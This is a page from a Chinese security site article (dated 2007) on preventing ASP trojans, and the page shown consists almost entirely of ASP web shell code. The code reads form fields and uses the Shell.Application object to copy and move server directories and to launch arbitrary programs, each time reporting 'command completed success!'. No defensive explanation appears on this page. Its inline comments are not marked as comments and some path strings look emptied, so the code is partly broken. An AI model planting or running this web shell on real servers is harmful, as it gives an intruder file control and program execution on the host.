两种比较典型的ASP木马防范方法

来源:中安网培 作者: 2007-12-09 出处:pcdog.com

.net  dos  dos命令  iis  iis服务器  
上一页 1 2 3 4 下一页 

  <%
szCMD1 = Request.Form("text1") 目录拷贝,不能进行文件拷贝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") 建立shell对象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path & ""
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%> <%
szCMD3 = Request.Form("text3") 目录移动
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") 建立shell对象
set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="" then
path=left(szcmd3,i-1)
exit for
end if
next if len(path)=2 then path=path & ""
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szCMD5 = Request.Form("text5") 执行程序要指定路径
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") 建立shell对象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>
更多内容请看PCdog.com--病毒/木马/蠕虫  解析木马专题
上一页 1 2 3 4 下一页 
上一篇:无线网络入侵检测之常用术语
下一篇:Windows中轻松修改网卡的MAC(物理)地址